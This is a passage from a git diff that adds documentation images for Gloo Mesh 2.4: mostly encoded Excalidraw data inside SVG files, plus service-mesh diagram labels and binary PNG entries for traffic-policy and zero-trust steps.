hZ5/YmOsolvpWYESpVMHtZn/RXHUwMDFmztiYRFQ7ylSnc8SQVFx1MDAwYqyvpVx1MDAwM9YyZ0Sbsn1uz1x1MDAwNt9oXHUwMDFlsXamJYJEmGeKPDpqXHUwMDEyR1x1MDAwM9PDe9R09NOYLlx1MDAxN1xmaTNV+Sc0XHUwMDE2NDQ2LVx1MDAxNFx1MDAxM0DhsFx1MDAwMylNnY1HXHUwMDEwylx1MDAxNNkgbCrPhcKKfzNcdTAwMWLKXyyczEfGJDJlM5JcdTAwMTCmTVx1MDAxYlxij1x1MDAxYy3sXHUwMDEwicHi5erXR8jSro5sXHUwMDFjsZX+zSOyTPqz9f5y//lccumn7dn+XHUwMDFjKyY4XaOhlT9CXHKp+KOYOZRcdTAwMGJOlGlTRFx1MDAxNsVcdTAwMWZ2OLyskJKaXHUwMDEybm9otVFmXHUwMDAwgvvPXHUwMDE4VlhKwTT2qqnGjqnHYZwqbrqJuFPV/slccqDa9Fx1MDAxMTkkKFxuhVx1MDAwMFxmLGxM41x1MDAwM63NXHUwMDEwUkwk1657f+JcdTAwMWF9hVx1MDAwMflcblx1MDAxM6Ln5iPLoiaQXHUwMDAwnMTz9CH++II/6uz+vXtcdTAwMWbJPVx1MDAxNrj3npDS0vSy4SZui1xchU1fmzLRXFzOXHUwMDE0QppiXHUwMDAw7uS4s0HtxG9cdTAwMWWRZbrflvAjyG72XHUwMDExJIWYVotcdTAwMDdcdTAwMTZ+/lx1MDAxMbNwXG4/053I1FhgM8RKcDyfXHUwMDExqvW07pQwk4Zrxv7sXHUwMDA2+4H4nVx1MDAxNqSbfoKaXG6vXFx4YFRKXHUwMDExwZIyoai73+vXXHUwMDE4ZsrNXHUwMDBl/3jh51x1MDAxZryYR1pcdTAwMTgxPG1zQ6gyrUJd2YizzChp2lx1MDAwNFxiaXJcYqVcdTAwMTb/II81xV9yknzIP90lR/ItNm5cdTAwMGXUaYSeV234XHUwMDBmRFx1MDAxZiemXHUwMDExmEnTJ3JpU8JcdTAwMDEzhIJQMOZcYlx1MDAwNbR41OIvYqX/6bvLpL897KfsaVHTaVx1MDAwNYRcdTAwMDX3evnH9UMq/aikjulcdTAwMTBcdTAwMGaHr7k7mfyX9GOOMmMgmcHlXFztSPptxfI1tpuhjz99XHUwMDE0a2DpXHUwMDA3wk8jzSmb3mFNpPLIPVx1MDAwN9UoNCFcdTAwMTKZalx1MDAxNPnNdPg1MvSxmTKJkGmNiMxk9GXRp1x1MDAxZKBcdTAwMTFcdTAwMTDGzFRFmrr3bYi+/2DD1z9krqxzMpiQRtquMSbDf+BuSL3+pk7WUcBcdTAwMDdcdTAwMDBcdTAwMDDM83ytO+FcdTAwMDSUsTF8NZhcdTAwMTmc+FxydVxm0LHWJlx1MDAwMVx1MDAwMYY7xPVgXq3OiXC0++Hayu82XHUwMDEwXGIwXGZcdTAwMTOH9P5tXHUwMDEyRe82XHUwMDFiqn97z/rds4nq8Wrj45m2tlx1MDAxMNvzn4/uu+7ST97LXHUwMDE0OCrt7njOTT8gd9RnJSp5XHUwMDE5Z/VcdTAwMTh1X16v9Gk3WzuLXHJf6HdQyVwi6e+SJ6VPtjbRKChPXHUwMDA2qFH+P8VcbiuWi8s8+d10bdNTWru9ZEfFhKlh+TbVL1Ri1bN65TmfmpBh+vEnlWVbqSw7Ot5jWXZVVoT3XHUwMDA19yCPbVlcdTAwMTHUXjZDXHUwMDEwI4Iht7pdJYr9zzO0XHUwMDAwSfmkXHUwMDE0XHUwMDEzzVx1MDAxZFx1MDAxZUxcdTAwMTgvplxm7igvwjTAVVxcre6z+mclRoCF1oPdnfy7U4VcdTAwMGKOXHUwMDBin/vNJ/ZcdTAwMDchizlcdTAwMTH/bHZpq3vKJGbYOmdUMqZcYlnHLOpUL/upq3yPXrHHXFzsJnPba9/chFx1MDAxZYBxO89TJcJcdTAwMGLAiFx1MDAxMKal6iHdQJvgr6Ksvb0k3/upp0nyPYfqXHUwMDEx1ny/+cFf28JfOzreXHUwMDFkLYsznZIoZfLFRiV7jk5jyTM0vvuDTmFcdTAwMTVcXPS+4Fx1MDAwMeFcIuM+XHUwMDE1KGbGxDrddfyPM7xoXHUwMDEx+WhcdTAwMGWTSlx1MDAxMi60iCk3gz5cdTAwMGbZQSyEaLFS6Fx1MDAwZsaV/uBAcHFcdTAwMDVkWoSLX7s9XHUwMDE0Xlx1MDAxNMTqRjfdXHUwMDE1TNcyXHUwMDE53EzsRlx1MDAwNk+x23F21CmPXHUwMDEyw3L2XHUwMDFhfUwyYWd8M1LI0Vx1MDAwNFx1MDAwMUlOn2dE+cuPTlx1MDAxZKwxsD1cIopcYqo2m/y2Wz86JkpihdxcdTAwMTg/dDLBT1x1MDAwZu/KkZ6sds5JOWNM61x1MDAxNL5cdTAwMWOdRe5Gr3RcdTAwMGLrsmFcXJ1lPq5cdTAwMDaf8VKkOHpcdTAwMTjcXfZcdTAwMDKCyJ1peP9mKq4y8lx1MDAwNXZXyGQwIFx1MDAxY5zbRe0zM3xcdTAwMWPWu9FWolx1MDAwNlx1MDAxY9dHMV5cdTAwMGK3eSgxkY5cdTAwMTJcdTAwMWNJM6NcdTAwMGLJ+Vx1MDAxNqJggc3z+kbWISGqWPHKXHUwMDE3/ZZ1SClAXHUwMDBmKdiRWofvl1x0na/1XHUwMDE1Pvt4Sl3HbmPJ4lX2xzrclnW4o+P9w5ddZcV5X3BcdTAwMGYy3mbFcWb1/mEqsVx1MDAxOfysgmeF+Z9naNFcdTAwMWMlPlx1MDAxMl5RR1x1MDAwNJLwO7HiyDJiQ1x1MDAxYylTolx1MDAxMGLEdlxiK+5jUFx1MDAxOFx1MDAwZWru4/8y3bCc+3hw023Qdf3KXHUwMDA1u21cdTAwMDWWWbLbXHUwMDE297cnc41cdTAwMGL79Fx1MDAxYo6omeKzRrFz66WUIM2HdCtBUuX3XHUwMDAyXHUwMDE5Nl7ZXehcdTAwMDGccrTNS8PAilxuK4BcdTAwMDPTUlHKcJije37atanGupgpdnhcdTAwMTEk1mmPvudx7ce/vzVcdTAwMDS3o+P9WXZcdTAwMTfLrlx1MDAwMobeXHUwMDE3PCAwXHUwMDE0xJ6YpziVkok1pqb5n2d4gSH10Vx1MDAxY4SHXGZcdTAwMTiaQlx1MDAxYVDmYe6eelx1MDAwMGDYg8uctOrt+sDSXHUwMDFi49vocIVjf1x1MDAwNVZaXHUwMDA0iN773Fx1MDAxN0pk1mCeQFx1MDAwMpidXHUwMDA2r1xuf77MdEVnXFy8LFx1MDAxNSOvlZEoPV7en4VcdTAwMWUjXG67XHRIaXgxXCI2Qzi1cDcsXG5cdTAwMWTT+yna56d0mSZcdTAwMDf3qUG8eXX18FaN3eDEXHUwMDBmRtxcdTAwMTZG3NHx/ix7RMuugp7eXHUwMDE3PCT0dCWOLEJPzVx1MDAxMEZmjEJwdeR7nuGFnthHIfGwQU9hXHUwMDA2VyD5k1nyi8D/gXSVcr2/V8y5XHUwMDAyey1hzvlccm5cdTAwMGZsWpPGsL3/XHUwMDEwpZhcdTAwMTOO10hcdTAwMWVJ5VG8f1EtRrPNaGOQi0VcdTAwMTMlNv5cdTAwMGXS3CNjXHUwMDEzLVx1MDAxZKQ4SDFMmKtcdTAwMWKT+brgjlJcdTAwMThNR0YpXHUwMDA2ZGnl6yCJIzagSahHuyG53GJcdTAwMDNcdTAwMGKTtkbQXHUwMDAxkeWqXCJzPz16oExcdTAwMGJPiaHmXvWRXHUwMDE41Va3XHUwMDFiaVf6tUihXFzudvr/7nRcbvBPILCKp1x1MDAxY1x1MDAxMd9NSvOJbMz9ikWJ4bdBX4lg7Uvh7uC3VHaETd27XFyjK4//XVx1MDAwZqdIoJI5QjAgLMY01fNtKTCjXHUwMDBlJ6DoXHQ1jcl8ZpVtXCJcdTAwMTMwMVeRklNCQFxiK4/x41o4yPTO0JoyjoVezjeRiDKkXHUwMDBmaYmGoimFv1Y6WVx1MDAxOFx1MDAwYkZcdFPwrDCRaq5cdTAwMWbC71x1MDAxNlx1MDAxMID0qFx1MDAxOVx1MDAwMcsxV2aO9DdnlfnnWc5viinNMFx1MDAxMchMLKPwtLQnTFx1MDAxZEE4Z0oyisx8yePuSFx1MDAxNrFSv3ks0f1sub/cf64v+OxmXHUwMDBlgFx1MDAwNFxyXGYvglx1MDAwN2af0vFqhrLBxVx1MDAxNX+8LL1WXqMvmdOQyz2itENBulx1MDAxM63F4nBawFx1MDAxZCBcdTAwMTOpYiBcdTAwMTZccn/4iL1cdTAwMDBcdTAwMTNcdTAwMWNsYo9Th8DawFVYgnylM5k268OIhcNcYqVCSqq5oMtcdTAwMWU4JFx07JSKP6VcdTAwMTWZ3SywXHSf88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZduvIRcdTAwMGZyqFx1MDAxOYktgSYwwGNcdTAwMTB6yy1qTTRfw11cdTAwMDPxxCSA5a00gz2c7LGS4PTdJepbU/isyOQni6/OKni4lpTwNZrBtmKs3c98ptSg0r+aRMt3k2y1XHUwMDFiblx0xEHI+pR7g3hiplx1MDAxYlx1MDAxOJxcdTAwMDNiiodqiFxmkIvW6pC22SZe/0g70cZ6dFx1MDAxZb9o8Fxu7mb02ehM/3j9t+X139HxXHUwMDFl17K7mmh4LKewyu3vfcHZsksyYOduf5/+lGBcdTAwMWUjsDXWyDjxP8+Quv1BIfk0g4Lf7+htKaTtuP1cdTAwMTHGaK7QN3Rq6Fx1MDAwMG7/TndcdTAwMTCpd6Zesv0mnPgjsEVXnuc2XHUwMDBm33SEM0blWsjzKvP6rKrisXczem1mz3h7lO1/q1x1MDAxM/f+XHUwMDEyTqbIk1rje4o6iivBpdBMm9bHVk5cdTAwMGaScbLlId3TyVDqaFsvXHUwMDE2Luo8X5J376L3NqmSzmf/JoU21987WnZXkDbxcin1Qyt7l/gooVJNX4/uXG7XW1i3XHUwMDEyRa/lizhm2YfKuPEuy9VHtFxyqHxcXHftWJZdhVx1MDAxMb0veECMyKg1K1lqyVx1MDAxOVonKdn/OMNcZlx1MDAxMa2agyHs0K1pjm1gRK7M1Cb8M/b6XHUwMDE3fX81fds/PFxcXHUwMDAxk5b70u1cZlx1MDAxYdpbXG7ZW4swgSgja+R95e9jjdhEd3Bb3yffWaxUqXeew+2PXHUwMDE0SCtHXHUwMDAx92rJiOB8hpGn2SHUQYQqpbSUXHUwMDEyUUrtvL1RKJh5wECP9Fx1MDAxMLghmHBcdTAwMTbm+Xt+urTZeymqSaT2XHUwMDE0Pzsjspb+TJ1fXoY9PaQ2XHUwMDE4vFx1MDAxNeud0GWFeOzLV1x1MDAwMFhjoqDDrVx1MDAxMlx1MDAwMEupOGEyuGHof4/DKVx1MDAwMjBFjklcZlx1MDAxM6Z7XHUwMDA3Q/Mt+s3Qe1x1MDAxM1x1MDAxNZVGuXO8K1x0gLTDXHUwMDA00YJQTM2EOY98MaVcdTAwMWNtXHUwMDA2pVx1MDAxMVx0up1rvTyjXHUwMDA0wFx1MDAwN9NcYlx1MDAxZLI5eCjSQfz10MlCOojApoBcdTAwMGJcdTAwMGKCMVN0eUjJfDpcYlx1MDAxMf9MR1szXHUwMDFkZPT5ksy88tObp+xjQ+XvYpVqLmvZlICriOnEXHUwMDE5qjmadbP62lx1MDAxM1x1MDAwMYrVhFx1MDAwMCBEwL9cdTAwMTJ5TI06qpCsnf7NY4nyZ+v95f5zbdnnznxdbqgokeZcdTAwMThcdTAwMDeXfVx1MDAwM5W+u7p7Pb3Nju/vzuOvolx1MDAxNuNVi+xcdTAwMGKNcVx1MDAwM2RG3GPJ59NjqXK7v1x1MDAwNcZcdTAwMWJ1VLT24pWOdD1cdTAwMTTxXHUwMDE40YRn2/7HzCFmivpBy7BCklx1MDAwNDL3zjHxvfW+m1x1MDAwN1xihTX53GbkXHUwMDEwXHUwMDE3jSyyuZRmXHUwMDBlXHUwMDFlXSPfNXemK5nL1H1jnDnvd0aZ986pXG5/m32GTUWlMlmG0+c5NpeMg/hcdTAwMDVcdTAwMDSkXHUwMDE0XHUwMDEyyF0x8J28XHUwMDBia8ft2bIz74VcdTAwMGJP/WPlSNBcdTAwMDPAXHUwMDFkXHUwMDA3rKneLV9/y30xwt6eXHUwMDBiNffJ3dtcdTAwMWSwj+/xoI+jXHUwMDAxXHUwMDAwXGYzyj24qu0kes+dzvVd5PY0XHUwMDEy553SgLVSt6HnQU6lgyiWxrFcdTAwMDLPfIlcdTAwMDfdunYnLEi8OpYusSBcdTAwMDNcdTAwMDZEmshcdTAwMDOWloWRXHUwMDAzSUg4kHyXXHUwMDAz7bmHZtghV2SNllx1MDAwMy9KRmKVe3rXKeU+b3k+kUjK17BzIGhcdTAwMTbqYPnVRZgtcaC7xnM3LFx1MDAxOFBcdTAwMGJyYbYpwqxcdTAwMDW/ruHh6+NcdTAwMWbxyOTuhbZThdRcdTAwMDd6XHUwMDFjyfdmYnIgX9+fo2OV3ZVnylx1MDAxZuVa3vxkup5+fs2fdtJcdTAwMGaVXHUwMDFicXeKkqP7i9BzOEBbXHUwMDA3IYs5XHUwMDBimtfBVDDKXHUwMDAxZEpkL+LevY6VgMilOOhcdTAwMTipXHUwMDFmXHUwMDFku3VcdTAwMWRLsV3HXHUwMDAyouJcbq0x8Fx1MDAxYtVcdTAwMTOpyrhcdTAwMWLNXzx9duL9s/z5xXn4O3hNXHUwMDE5UEmKMFdyvk2/NDaoi/18iq034T+PSspl/iNcXFx1MDAxYi1cdTAwMWbmWNoh+I+GhP+oP//5XHUwMDE32Ui7u0dcdTAwMTNikjRQcC4sPZBLlbt8fMxflVx1MDAxMvHJ7Vx1MDAxM76pv1m4MCxcdTAwMTEtpMxg9d8pzVx1MDAxYc1zIcYm5I2VlqZcdTAwMDSKbGpqbjfVUSOOpORhzl3xg73jtKyn2s1cdTAwMDZXXHUwMDE38cGdKMRf7mJcdTAwMWbhTUk8tiqbXHUwMDFkXHUwMDFk73Etu6sqm+M6ha0vuyox0/uCs2WXRMuuXHUwMDEzM6WwjonBjClJsF6jsY//eYZcdTAwMTRsgqJcdTAwMTM+io5g4dBtKbqtZGZqzE2F/U/xzolcdTAwMGJ09lx1MDAwMcqVXHUwMDBivfLJQ7fsXHI/d5SeuVx1MDAwMtotglLvfe6rfEdbW1dcYoS0Ru4mxKuYvZ6+OL9S9+3m2/OI5PFL5zPf+Vbrij3OXGZGXG45dPZYyNJcIoo5XHUwMDFjXjVcdTAwMTJBc/dstcOX71x1MDAxMKVcdTAwMTjV9FhnXG4gffU6yH622/3bRv1cIsHyyduoXHUwMDA1b6yjwHe07E/1zjHetT982VXY0/uCXHUwMDA3xJ6cWrVcdTAwMTFcdTAwMDVRLMVcdTAwMWEpw/6nXHUwMDE5XuTJfdRcdTAwMTFFxEHbUkdbqVx1MDAxYsdYM4l+6sZ/0/dvSFx1MDAwN0juZFxcXHUwMDFm1E6inVHXe1xi8a7A51xuXGa2XGI+bTvd17RcdTAwMDJtXHItSkNXgHGCR1x1MDAxNvtDxJ/KldHV5L3/pjqpUTf3/vlcdTAwMWT4uU9+lyZcdHnWKGKB3yV1MGJCacaQXHUwMDE2ZLPI4nbnXHUwMDE1KMJNv7djXHUwMDFkN1xcRY+kV/h8XHUwMDFlJqpcdTAwMGaNm/G9KKF4Pbw48dhcXKo7Ot5cdTAwMWQtm9FJrahKNZovN72qXHUwMDFhX1xm38eNLZzCbVx1MDAxZEXaspZLN9J3TyPRiohKbVx1MDAxYjOtU6gkq1x1MDAwNdS7xplBulx1MDAxMLtAMfze2cK69aHI1i5cdTAwMWEsqjN3yUZL5eu8+bKFdVx1MDAwYq/3RVx1MDAxNc/K+GnqQdQnTZ3M1ZJ/XHUwMDEwla1cdTAwMDLi3lx1MDAxNzwgXHUwMDEwXHUwMDE3zOpcdTAwMDQmXHUwMDE4aVxuSHSNYbL+51x1MDAxOV4oTv1Us0aOXGKkmvc0uYHAflx1MDAwNVfuVJHQKeRcdTAwMDNA8Vir2z25rfRre3dcdTAwMDOvgKOLSNyy0T1cdTAwMDFxn0ktminiLv5cXMXtUZqJXeTPkj2kblx1MDAwYqfdrmB9XHUwMDExPy5cdTAwMTg+z+pMYEfAW1ghTKjGdGFfW0rg/Vx1MDAxNlxul0SYrm1hnlx1MDAxNOinaVx1MDAxM7FJfHD6nnuL3pROXHUwMDEz6atiXHUwMDBlXHUwMDE30z8ofFsofEfHe1xcy+4qseFYTmFcdTAwMTX49L7gIcGnPVx1MDAwM4FoXHUwMDA2yFx1MDAxM6/RUtD/OI9cdTAwMDR7LugjqVx1MDAxZFx1MDAxY0hcdTAwMWbtXHR6KiYl46GORFx1MDAxZVx1MDAwMHnG+4N6d++oc1x1MDAwNfpaRJ1cdTAwMWWb3H13KEGtXl+wppik68R5UuSxVEokhk/9/rj9LNPV55vkdehcdTAwMTlcdTAwMWMj4vCZbTlfT4IxXHUwMDE1XHUwMDAx4zybZlx1MDAxOOnZ/r9cdTAwMTicLpeNXHUwMDExzLSkMsxcdTAwMWPup1PbXHUwMDE3+cZw3Ph4i+WzlUyny1x1MDAxMlx1MDAxZqlxMFxisIn285RcdTAwMWaBW0TdVKqVjrfwcNVcIuwncf73Xr7F7ZLQxVdnbVx1MDAxMrhcIlxcSrJG3nylnW11Y+Syfks+SsXBW7GXXGZ9gajQmjmm25NgJsLL57uBR4Rw25dIb2Rg+rK79KhcdTAwMTJdZneCNYdNhtmT5Mft5/W2pvFaXHUwMDA38bzMpVx1MDAwNzh691ggYef281Z97o5cdTAwMWSS23/vxZfbfVx1MDAxYb9Zm/+bvjpqjbau/jcynJ4kbfJcdIGZQawx5FaYU05nylFcdTAwMDKZgWtCXHUwMDEwXHUwMDA1vL5ZkYx9XGKgaYEjpGk0XHUwMDA1ulx1MDAxYkDEMttLx3SMICaRXHUwMDE5S+quWPtnXG4gx4Lw/+B2XHJcdTAwMDHbvvlrnFx1MDAxM/fMK8xBvGsuNVVcdTAwMWMrj1x1MDAxOYCYOUSYOc9KSGU6XHUwMDA1rFx1MDAxOFx1MDAwMni0LZhcInZcdTAwMTI0jyXim633l/vPRenzO0xcdTAwMTmtxZvNTDRyIyvXldPY5+Pj7dXsh1hE1O9+RdRB/3RcXNZ0vueygDepVpQhQlx1MDAxOfyDLjNcdTAwMTZcdTAwMDZVPXtI5dFSzJXSsiwjtuExXlx1MDAwN+PsXCKT2ltcZmyNy//xbEukmVZLrqC/TctKm4Yx3bJN9XuQpKFFaTLHK9+RJ1tlIDulTd9V7ixBSuWq5cT8XHUwMDE3NHOvpvns60s3LKDUWS1H2XMrmz6bXGZcdTAwMDdy9FmM0k68iZ+ol1x1MDAxYzWDSzVcdTAwMDGz1zRmVCAnXFxcdTAwMWRVTmbtMzEjikvzXGZcdTAwMWGVYH9BatvUxZi/Z6qJ57fCaaxXqfQnsqTOLZuiXGKbclxiXHUwMDAw6pQghZb3pFx1MDAxY6xmPVx1MDAwZkHmLe3pO1x1MDAwMtpHXHUwMDEwdlX8+vXzvCfaJJFXp1x1MDAxZlxcT0r9gIJQKbsglGq1IJzJg1krWT909CP5gko+gVx1MDAxMIP/XFwtXHUwMDFk3Fx1MDAxOdJWW1x1MDAxYfCEXHUwMDE5PVx1MDAxOSRQXHUwMDFibtFHsY/kk/OCjIhVq0Xmv0HwfFx1MDAwZliPZpDbXHUwMDE3fYGljIGQxlx1MDAwMUCxVqalhau48EvKSEd99XozJfnse5Kv2EVR2cs00neqkE42oue5XHUwMDA0te1cdERcdTAwMTlcXFx1MDAwZnQrXHUwMDAwXFzQrnxpT9xRXGLeoNNntbyjLcu9x1hLnlx1MDAwM2Hmc637yESkY40mOV2We/NcdTAwMWWpX73yXHUwMDEwdrhN7Fx1MDAwMXBfJfa8ovIuXHUwMDA3yo/Y+77Yw0JgiSlTXnJcdTAwMGbb2zxcblx1MDAwMnRcdTAwMDfsclx1MDAxMMH3j/tmUG9XukNcdTAwMTe1re1cdTAwMDT6plvH20+0hrPnn517stvqPEHbbSFIXHUwMDEzOEK+hmv3LpW6K4zribqgZ69XqnFZfm9kwsNcdTAwMDW27puM2IGUXCLUkVx1MDAxNFx1MDAwYkk5mMJM7KY1mPRo67/s1WXEiGZ3cH3HfL3DIGxgt+prYdhcbolX9ddWfrHZX79P8u/C29vTXHUwMDAwjuJLUf89qlfGZ/bi4b9+M6lhh4o51f/537/+9/9cdTAwMDN8xtGcIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClienttimeoutfault \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/reviews-unavailable.png b/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/reviews-unavailable.png new file mode 100644 index 0000000000..49d4442749 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/traffic-policies/reviews-unavailable.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac1.png b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac1.png new file mode 100644 index 0000000000..0ff103865b Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac1.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac2.png b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac2.png new file mode 100644 index 0000000000..0de3a8ad00 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-rbac2.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-working.png b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-working.png new file mode 100644 index 0000000000..102fec36e5 Binary files /dev/null and b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/bookinfo-working.png differ diff --git a/gloo-mesh/platform/2-4/default/images/steps/zero-trust/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-4/default/images/steps/zero-trust/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MD